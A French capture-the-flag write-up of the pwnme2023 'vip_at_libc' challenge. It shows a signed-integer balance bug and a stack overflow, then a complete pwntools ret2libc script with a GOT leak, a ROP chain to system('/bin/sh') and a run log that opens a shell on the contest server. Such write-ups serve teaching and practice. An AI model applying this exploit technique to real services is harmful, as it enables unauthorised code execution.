pwnme2023 - vip at libc
VIP at libc
Introduction.
Ce challenge a été proposé par le CTF pwnme2023 dans la catégorie pwn.
Il permet la mise en oeuvre d’une exploitation de type ROP avec la problématique de localiser l’adresse de la fonction system dans la libc.
Lien vers les binaires :
Découverte
La programme nous accueille avec un menu.
# ./vip_at_libc
Hi! Welcome to our online game streaming. I see you don't have an account? Please create one.
Your username: TOTO
Welcome TOTO! By default your money is 10$.
For now, we unfortunately do not accept any money transfer on an account.
However, in the future you'll be able to buy a VIP ticket for 100 000$. So we will accept a money transfer.
1) Check money on your account
2) Buy a ticket for a game
3) Buy a VIP ticket for all game
0) exit
>
1
10$
1) Check money on your account
2) Buy a ticket for a game
3) Buy a VIP ticket for all game
0) exit
On peut acheter de tickets avec ce solde de 10$.
>
2
Today you can buy the following games:
1) Never Gonna
2) Give You Up
3) Never gonna
4) Let You Down
Each of these games cost 10$ !
Which one do you want ?
>
2
You don't have enough money!
1) Check money on your account
2) Buy a ticket for a game
3) Buy a VIP ticket for all game
0) exit
On ne peut acheter qu’un ticket.
Essayons le choix VIP : > 3 We only have one kind of VIP ticket right now: - VIP Supreme Ultra
You don't have enough money... It costs 100 000$
Le but est clairement d’abord d’obtenir des sous pour passer VIP
Le bug
Après quelques tatonnements on se rend compte qu’un choix négatif est traité signé donc la comparaison avac le solde est correcte et la soustraction sur le solde augmente le solde.
>
2
Today you can buy the following games:
1) Never Gonna
2) Give You Up
3) Never gonna
4) Let You Down
Each of these games cost 10$ !
Which one do you want ?
>
1
How many do you want ?
>
-5
1) Check money on your account
2) Buy a ticket for a game
3) Buy a VIP ticket for all game
0) exit
>
1
50$
1) Check money on your account
2) Buy a ticket for a game
3) Buy a VIP ticket for all game
0) exit
On choisit donc d’acheter -10000 tickets.
>
2
Today you can buy the following games:
1) Never Gonna
2) Give You Up
3) Never gonna
4) Let You Down
Each of these games cost 10$ !
Which one do you want ?
>
1
How many do you want ?
>
-10000
1) Check money on your account
2) Buy a ticket for a game
3) Buy a VIP ticket for all game
0) exit
>
1
100010$
1) Check money on your account
2) Buy a ticket for a game
3) Buy a VIP ticket for all game
0) exit
On a ce qu’il faut
3
We only have one kind of VIP ticket right now:
- VIP Supreme Ultra
Do you want to buy it ? (1 = yes)
>
1
Congrats! You're now a proud VIP Supreme Ultra owner.
1) Check money on your account
2) Buy a ticket for a game
3) Buy a VIP ticket for all game
4) Get access to the lounge of your choice
0) exit
4
You are free to create your own lounge and access it!
That's just how powerful that VIP Supreme Ultra is!
What's your lounge name?
>
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
Your lounge ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ has been created!
You can access it whenever you want.
OK on a donc put accéder à la saisi d’un nom de salon dont la taille est mal contrôlée.
Analyse
Protections
gef➤ checksec
[+] checksec for '/w/pwnme2023/pwn/vip/vip_at_libc'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
- La pile n’est pas protégée par un canary. On pourra donc réaliser une écrasement de l’adresse de retour d’un fonction.
- La pile n’est pas executable. On ne peut donc pas utiliser de shellcode
- Pas de PIE, les adresses de chargement du programme sont fixes
- RelRO : La protection de la GOT est partielle. On aurra un chargement différée des adresses mais la GOT est inscriptible.
Le code est un peu difficile à suivre en assemnbleur et pas beaucoup plus clair avec ghidra pour la gestion des variables dans les principales fonction, main, menu() et buy_ticket(). Il ya des déplacement de sp qui complique la lecture. Mais le détail de ces fonctions n’a pas d’incidence sur l’exploitation. On ne les décrit donc pas.
La fonction vulnérable est la fonction access_lounge
┌ 183: sym.access_lounge (int64_t arg1, int64_t arg_10h, int64_t arg_18h, int64_t arg_20h);
│ ; var int64_t var_18h @ rbp-0x18
│ ; var char *buffer @ rbp-0x10 ; buffer
│ ; arg int64_t arg_10h @ rbp+0x10
│ ; arg int64_t arg_18h @ rbp+0x18
│ ; arg int64_t arg_20h @ rbp+0x20
│ ; arg int64_t arg1 @ rdi
│ 0x004011b7 55 push rbp
│ 0x004011b8 4889e5 mov rbp, rsp
│ 0x004011bb 4883ec20 sub rsp, 0x20
│ 0x004011bf 48897de8 mov qword [var_18h], rdi ; arg1
| ; Affichage des messages Jusqu'à "What's your lounge name?\n> "
│ 0x004011c3 488d053e0e00. lea rax, str.You_are_free_to_create_your_own_lounge_and_access_it__n ; 0x402008
│ 0x004011ca 4889c7 mov rdi, rax ; const char *s
│ 0x004011cd e85efeffff call sym.imp.puts ; int puts(const char *s)
│ 0x004011d2 488d05670e00. lea rax, str.Thats_just_how_powerful_that_VIP_Supreme_Ultra_is__n ; 0x402040
│ 0x004011d9 4889c7 mov rdi, rax ; const char *s
│ 0x004011dc e84ffeffff call sym.imp.puts ; int puts(const char *s)
│ 0x004011e1 488d058d0e00. lea rax, str.Whats_your_lounge_name__n__ ; 0x402075 ; "What's your lounge name?\n> "
│ 0x004011e8 4889c7 mov rdi, rax ; const char *s
│ 0x004011eb e840feffff call sym.imp.puts ; int puts(const char *s)
| ; fgets(buffer, 256,stdin)
│ 0x004011f0 488b15692e00. mov rdx, qword [obj.stdin] ; obj.stdin_GLIBC_2.2.5
│ 0x004011f7 488d45f0 lea rax, [s1]
│ 0x004011fb be00010000 mov esi, 0x100 ; 256 ; int size
│ 0x00401200 4889c7 mov rdi, rax ; buffer
│ 0x00401203 e868feffff call sym.imp.fgets ; char *fgets(buffer, 256, stdin)
│ 0x00401208 488d45f0 lea rax, [s1]
│ 0x0040120c 488d157e0e00. lea rdx, [0x00402091] ; "\n"
│ 0x00401213 4889d6 mov rsi, rdx ; const char *s2
│ 0x00401216 4889c7 mov rdi, rax ; const char *s1
│ 0x00401219 e842feffff call sym.imp.strcspn ; size_t strcspn(const char *s1, const char *s2)
│ 0x0040121e c64405f000 mov byte [rbp + rax - 0x10], 0
│ 0x00401223 488d45f0 lea rax, [s1]
│ 0x00401227 4889c6 mov rsi, rax
│ 0x0040122a 488d05670e00. lea rax, str.Your_lounge__s_has_been_created__n ; 0x402098 ;
│ 0x00401231 4889c7 mov rdi, rax ; const char *format
│ 0x00401234 b800000000 mov eax, 0
│ 0x00401239 e812feffff call sym.imp.printf ; int printf(const char *format)
│ 0x0040123e 488d057b0e00. lea rax, str.You_can_access_it_whenever_you_want._n_n ; 0x4020c0 ;
│ 0x00401245 4889c7 mov rdi, rax ; const char *s
│ 0x00401248 e8e3fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x0040124d 488b4de8 mov rcx, qword [var_18h]
│ 0x00401251 488b4510 mov rax, qword [arg_10h]
│ 0x00401255 488b5518 mov rdx, qword [arg_18h]
│ 0x00401259 488901 mov qword [rcx], rax
│ 0x0040125c 48895108 mov qword [rcx + 8], rdx
│ 0x00401260 488b4520 mov rax, qword [arg_20h]
│ 0x00401264 48894110 mov qword [rcx + 0x10], rax
│ 0x00401268 488b45e8 mov rax, qword [var_18h]
│ 0x0040126c c9 leave
└ 0x0040126d c3 ret
La lecture du nom de salon est fait dans │ ; var char *buffer @ rbp-0x10 ; buffer
Situé en rbp-16
donc après 24 octets on écrase l’adresse de retour (SRIP).
IL est donc possible de mettre en place un chaine de ROP.
On se propose d’appeller la fonction system
.
Comme elle n’est pas appellée par le programme lui même il nous faut aller la chercher dans la libc.
Comme la libc elle a bien des adresses variables, on doit partir le l’adresse d’une des fonctions utilisée par notre programme et donc l’adresse dans la libc est présente dans la GOT. La distance entre l’adresse de puts et celle de system est constante on peut donc la calculer.
Prenons puts. Et recherchons les adresses relative au début de la libc des deux fonctions.
# readelf -s libc.so.6 |grep " puts@"
1429: 0000000000080ed0 409 FUNC WEAK DEFAULT 15 puts@@GLIBC_2.2.
# readelf -s libc.so.6 |grep " system@"
1481: 0000000000050d60 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
La distance entre les deux : 0000000000050d60 - 0000000000080ed0 = -0x30170
On devra oter à l’adresse de puts située dans la GOT.
Deux approches sont possibles.
-
Modifier l’entrée GOT de puts avec un gadget du genre “add [reg1],reg2” ou apres lecture et adition, mov [reg1], reg2. Mais dans ce cas, aucun gadget d’écriture n’est disponible.
-
Lire l’entrée de la GOT avec un fonction d’affichage comme puts ou printf et rappeller la fonction access_lounge. Calculer l’adresse de system. Et au second passage envoyer une chaine de rop qui apelle system("/bin/sh").
Pour la chaine de caractère “/bin/sh” on sait quelle est disponible dans le libc.
# rabin2 -z libc.so.6 |grep "/bin/sh"
899 0x001d8698 0x001d8698 7 8 .rodata ascii /bin/sh
Pour localiser cette chaine il nous faut d’abord caluler l’adresse de base de la libc. Donc le plus propre est de procéder ainsi.
- Lire l’adresse de puts@libc
- Oter 0x080ed0 pour obtenir l’adresse de base de la libc
- Ajouter 01d8698 pour obtenir “/bin/sh”
- Ajouter pour system@libc
Et on envoie la chaine de ROP :
- pop rdi : pour
- @ /bin/sh
- @ system@libc
- @ access_lounge
Illustration de la localisation des adresses avec gdb/GEF
gef➤ got
GOT protection: Partial RelRO | GOT functions: 7
[0x404000] puts@GLIBC_2.2.5 → 0x7f9d71f9ded0
[0x404008] setbuf@GLIBC_2.2.5 → 0x7f9d71fa5060
[0x404010] printf@GLIBC_2.2.5 → 0x7f9d71f7d770
[0x404018] strcspn@GLIBC_2.2.5 → 0x7f9d720b5730
[0x404020] fgets@GLIBC_2.2.5 → 0x7f9d71f9c400
[0x404028] __isoc99_scanf@GLIBC_2.7 → 0x7f9d71f7f110
[0x404030] exit@GLIBC_2.2.5 → 0x401096
Ce qui nous donne
leak puts= 0x7f9d71f9ded0 libc_base = 0x7f9d71f1d000 libc_system = 0x7f9d71f6dd60 libc_binsh = 0x7f9d720f5698
Il nous faut un gadget “pop rdi” pour chager ce registe avec l’adresse de “/bin/sh”
avec radare2 :
[0x004010a0]> /R pop rdi
0x00401180 f30f1efa endbr64
0x00401184 eb8a jmp 0x401110
0x00401186 5f pop rdi
0x00401187 c3 ret
0x00401183 fa cli
0x00401184 eb8a jmp 0x401110
0x00401186 5f pop rdi
0x00401187 c3 ret
On peut retenir l’adresse 0x00401186.
Complément
Lorsqu’on execute la chaine de ROP, l’appel de system plante avec l’erreur
[#0] Id 1, Name: "vip_at_libc", stopped 0x7fd753d3d963 in ?? (), reason: SIGSEGV
0x7fd753d3d940 mov QWORD PTR [rsp+0x180], 0x1
0x7fd753d3d94c mov DWORD PTR [rsp+0x208], 0x0
0x7fd753d3d957 mov QWORD PTR [rsp+0x188], 0x0
→ 0x7fd753d3d963 movaps XMMWORD PTR [rsp], xmm1
0x7fd753d3d967 lock cmpxchg DWORD PTR [rip+0x1cae11], edx # 0x7fd753f08780
0x7fd753d3d96f jne 0x7fd753d3dc20
0x7fd753d3d975 mov eax, DWORD PTR [rip+0x1cae09] # 0x7fd753f08784
0x7fd753d3d97b lea edx, [rax+0x1]
0x7fd753d3d97e mov DWORD PTR [rip+0x1cae00], edx # 0x7fd753f08784
La fonction system utilise une instruction movaps avec un registre xmm1 et l’ecriture dans la pile (rsp) doit être callée sur 64 bits.
Pour obtenir cela on rajoute une entrée neutre dans notre chaine, une NOP.
N’import quelle adresse contenant c3 (ret) fait l’affaire.
0x00401187 c3 ret
Script python de mise en oeuvre
from pwn import *
import time
REMOTE=False
DEBUG=False
xs='''
b *access_lounge+181
c
'''
#context.log_level='debug'
binfile="./vip_at_libc"
elf=ELF(binfile)
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi=0x0401186
nop_rop=0x04010d4
access_lounge=elf.symbols['access_lounge']
if REMOTE:
io=remote("51.254.39.184",1335)
else:
env = {"LD_PRELOAD": "./libc.so.6"}
io=process(binfile, env=env)
if DEBUG:
gdb.attach(io,xs)
#io = gdb.debug(binfile,gdbscript=xs, env=env)
time.sleep(.5)
io.recvuntil(b'name:')
io.sendline(b'ALBERT')
io.recvuntil(b'> \n')
io.sendline(b'2')
io.recvuntil(b'> \n')
io.sendline(b'1')
io.recvuntil(b'> \n')
io.sendline(b'-100000')
# VIP
io.recvuntil(b'> \n')
io.sendline(b'3')
io.recvuntil(b'> \n')
io.sendline(b'1')
# Lounge
io.recvuntil(b'> \n')
io.sendline(b'4')
#--------------------------------------------------------------------------------
io.recvuntil(b'> \n')
PL=b'A'*24
PL+=p64(pop_rdi)
PL+=p64(puts_got)
PL+=p64(puts_plt)
PL+=p64(access_lounge)
log.info("send payload 1 ")
io.sendline(PL)
r = io.recvuntil(b"want.\n\n\n")
log.info(r.hex())
time.sleep(.5)
leak = io.recvline()
leak=leak[:6]
leak_puts=u64(leak+b'\x00\x00')
libc=ELF("libc.so.6")
libc_puts=libc.symbols['puts']
log.info(f"leak puts=0x{leak_puts:x}")
log.info(f"libc puts=0x{libc_puts:x}")
libc_base=leak_puts - libc_puts
system=libc_base+libc.symbols['system']
binsh= libc_base + 0x01d8698
log.info(f"libc_base = 0x{libc_base:x}")
log.info(f"system = 0x{system:x}")
log.info(f"binsh = 0x{binsh:x}")
#--------------------------------------------------------------------------------
# Second passage
#--------------------------------------------------------------------------------
io.recvuntil(b'> \n')
PL=b'A'*24
PL+=p64(pop_rdi)
PL+=p64(binsh)
PL+=p64(nop_rop)
PL+=p64(system)
log.info("send payload 2 ")
io.sendline(PL)
io.sendline(b"id")
io.interactive()
Déroulement le jour du CTF :
Avec REMOTE=True
┌──(root㉿zbook310152)-[/w/pwnme2023/pwn/vip]
└─# python3 t.py
[*] '/w/pwnme2023/pwn/vip/vip_at_libc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 51.254.39.184 on port 1335: Done
[*] send payload 1
596f7572206c6f756e6765204141414141414141414141414141414120686173206265656e2063726561746564210a596f752063616e20616363657373206974207768656e6576657220796f752077616e742e0a0a0a
[*] '/w/pwnme2023/pwn/vip/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
leak puts= 0x7f50a1466ed0
libc puts= 0x80ed0
libc_base = 0x7f50a13e6000
system = 0x7f50a1436d60
binsh = 0x7f50a15be698
[*] send payload 2
[*] Switching to interactive mode
Your lounge AAAAAAAAAAAAAAAA has been created!
You can access it whenever you want.
$ id
uid=1000(player) gid=999(ctf) groups=999(ctf)
$ cat flag.txt
PWNME{OOO0h_yoU_4r3_V1P_4nd_g0t_sh3LL_w1th_L1bC}